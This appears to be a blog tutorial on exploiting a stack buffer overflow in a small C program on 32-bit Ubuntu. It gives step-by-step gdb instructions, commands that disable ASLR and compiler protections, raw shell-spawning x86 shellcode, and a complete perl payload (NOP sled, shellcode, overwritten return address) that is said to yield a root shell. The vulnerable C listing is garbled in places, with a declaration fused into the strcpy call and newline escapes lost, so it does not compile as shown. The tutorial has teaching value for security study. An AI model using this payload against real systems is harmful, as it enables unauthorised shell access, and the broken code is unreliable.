Simple Buffer Overflow Example

Exploitation10320

I'm posting this example because the current buffer overflow examples on the web are not that good. This is a step by step guide to how to exploit a program that is vulnerable to a buffer overflow attack.

The Code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main ( int argc , const char * argv[])
{
    if (argc != 2)
    {
        printf ("Usage: %s <text>" , argv[0]);
        exit (1);
    }

    char buf[1024strcpy (buf , argv[1]);
    printf ("You wrote:n%sn" , buf);

    return 0;
}

This is the vulnerable code that we will be attacking. In this case, the call to strcpy is unsafe as the number of bytes that we copy into buffer (buf) is controlled by the caller which allows us to write more bytes than the size of the buffer (i.e. more than 1024 bytes).

Test Machine

Code was compiled on and exploited on a Ubuntu 14.04 64-bit machine.

Preparation

Compile the C program using gcc with the following flags:

-z execstack -fno-stack-protector -m32

This turns off stack execution and the stack protector which are anti-exploit features built into GCC. This particular example will require executing code from the stack.

We also compiled for 32 bit architecture for the purposes of this example.

Furthermore, we must turn off Address Space Layout Randomization (ASLR), a memory protection feature implemented in most modern UNIX operating systems. You can review all the different Ubuntu security features here.

To disable ASLR on Ubuntu:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

You can also try this to spawn a shell with ASLR disabled:

setarch $(uname -m) -R /bin/sh

Step by step guide

At this stage you should have compiled your program and have disabled ASLR. I decided to call my program exploit.

Start up gdb with your program like this:

gdb ./exploit

Then run:

(gdb) disassemble main
gdb Disassemble Output

In this case we know strcpy returns a pointer to its destination (which is our buffer) and this pointer will be stored in EAX register after strcpy returns. So we want to put a breakpoint after strcpy returns so we can look at the values of the registers. So we note the next
address which in this case is: 0x080484c8

Now make a breakpoint by typing:

(gdb) b * 0x080484c8

Okay, now let's feed our program enough bytes to cause it to crash! Our buffer size is 1024 so let’s pick a number larger than that like 1050 to try and get a segmentation fault.
Type:

(gdb) run `perl -e&nbsp;'print "\x90"x1050'`

Note: Here we are using perl to easily print 1050 bytes. The character we are printing (raw) is the '\x90' character which corresponds to the NOP assembly instruction. The NOP instruction is the no operation instruction which does nothing but take up a clock cycle. You will see why this is important later.
Now, gdb should stop at the breakpoint that we set earlier.

Now type:

(gdb) info register
gdb Register Output

This shows you the registers at this point in the code (right after strcpy has returned). So we know EAX will hold the result of strcpy which will be the pointer to our buffer! We always want to determine the location of our buffer in this type of buffer overflow attack. This is easily done with ASLR off but becomes more challenging when ASLR is left on (see ret2libc exploits).

Note down EAX address. EBP (Extended Base Pointer) is important too but you don’t need to remember it at this stage, just know that we will be overwriting the data at that address later on (EBP overwrite).
Press c to continue and to go past the breakpoint, the program should then end in a segmentation fault. The reason the program is seg faulting is because we have written enough bytes to overwrite the EBP (Extended Base Pointer). So when our C program returns, the IP (instruction pointer) points to the EBP which will contain \x90\x90\x90\x90. The computer will try to execute assembly inst ructions at this address but will run into invalid instructions resulting in a crash.

Now we need to discover what the smallest number of NOP's that can be fed to the program that still causes a segmentation fault is.

This is done by trial and error (answer depends on buffer size), simply run the following from gdb until you close in on an answer (obviously substituting in a number for ‘some num’):

(gdb) run `perl -e 'print "\x90"x (some num)'`

Note: Actually its usually buffer size plus 12 bytes (ie 1024+12 bytes) on a typical x86 machine but this is not the case on all architectures. Note that this relies on the buffer variables position in the code. If there was an integer declared before the buffer with a size of 4 bytes then you would have to write 4 bytes more to reach the EBP and cause a segmentation fault.

In this case, we seg fault with exactly 1036 NOPs. So if we feed in 1035 NOPs, no segmentation fault occurs and all is fine.

Now its time for some calculations.
You want to write 1036 NOPs and then (after 1036 NOPs) you want to write 4 bytes (for the return address of EBP we wish to overwrite). Essentially, we want the IP to point to somewhere on the stack that has data that is controlled by us. So lets make it point to the buffer and add valid assembly instructions there which are then executed! This assembly code is our payload or shellcode (because it will spawn a shell).

Our 1036 bytes should also include our shellcode. The shell code we will use is 35 bytes long.

Shell code (standard x86 shellcode):

\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80

So, we have:

1036 - 35 = 1001 bytes

So we will write 1001 NOP’s! The reason we do this is simple. We are going to be jumping to a location on the stack (somewhere in our buffer). There is no need to be precise and jump to the exact starting byte of our shell code. We can utilise many NOP operations that are valid assembly instructions that do nothing and put our shellcode at the end of the buffer where it will eventually be executed. This leaves us some margin for error. The sequence of many NOPs is refereed to as a NOP sled.

So our payload now looks like this:

1001 NOPs + 35 bytes (shell code) + 4 bytes (return address which will overwrite EBP)
So now we will construct our almost complete payload, we have:

`perl -e 'print "\x90"x1001 . "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" . "AAAA"'`

Now we used AAAA as a dummy address because it's easy to see in gdb as it shows up as 0x41414141 and is 4 bytes large.
So go back to gdb and run your program using the above arguments like we have done before:

(gdb) run `perl -e 'print "\x90"x1001 . "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" . "AAAA"'`

If prompted to start the program from the beginning, press yes .
gdb should have stopped at the breakpoint again. Press c to continue.
Now the program should have seg faulted. Inspect the address in which the program segfaulted. It should be 0x41414141 (which is the "AAAA", our dummy address). If you see this then you have completed all steps correctly thus far, otherwise you did not.

The final step is to look into memory to find a good address (somewhere in the middle of the NOP sled is best) to use as our actual overwrite address.

Type:

(gdb) x/48bx $esp

This will show you the memory contents at the ESP (extended stack pointer). Now because we went past our breakpoint and let the program end, our base pointer would have been changed to some garbage. The stack pointer (ESP) still points to the
top of the stack though so that is why we are looking around there.

Press ENTER a few times to inspect memory at higher addresses.
Eventually you will see our 1001 NOPs, once you see our NOPs (series of 0x90 byte values), stop and pick one address that is within the NOP sled. Again, try to pick an address corresponding to somewhere near the middle of the NOP sled.

gdb Memory Inspect Output

In this case I pick: 0xffffd0a0 which is nice because it is roughly in the middle of the NOP sled.

Finally, exit gdb by typing q and confirming.
We can now create our full payload:

`perl -e 'print "\x90"x1001 . "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" . "\xa0\xd0\xff\xff"'`

Remember to reverse the address (due to little endianness). So FF FF D0 A0 becomes A0 D0 FF FF.

Make sure the address you picked doesn't contain a null (0x00) or a space (0x20) as that could break your exploit. This is because a null would stop the assembly instructions from being executed and a space (0x20) would cause your argument to the program to be treated as two arguments.
Now in terminal, simply run your program (exploit) with that argument. And you should see a shell spawn!

Now run whoami, if you see root or another user then you successfully entered their account without a password which demonstrates the severity of the exploit.

Buffer Overflow strcpy Exploit

Some things to note

If you manage to spawn a shell within gdb that could mess up the static addresses of various things so you might want to restart gdb in order to continue to inspect memory etc.

The addresses from gdb and terminal will be somewhat different. So if you pick an address right in the middle of the NOP sled your address could work right off the bat. If you pick an edge address (not a middle one) then it might not work but you can manually try and change the address. So if I pick an edge address in gdb of: 0xffffcf60 and then I go into terminal and it doesn't work then I could try 0xffffcf80 , then maybe 0xffffcfff , then maybe 0xffffd100 . So I am just increasing the address until it works (ie going up in memory until I land within the NOP sled).

If there is something that is unclear in this guide or incorrect, please let me know!


Leave a comment

(required)(will not be published)(required)

Comments

There are no comments yet. Be the first to add one!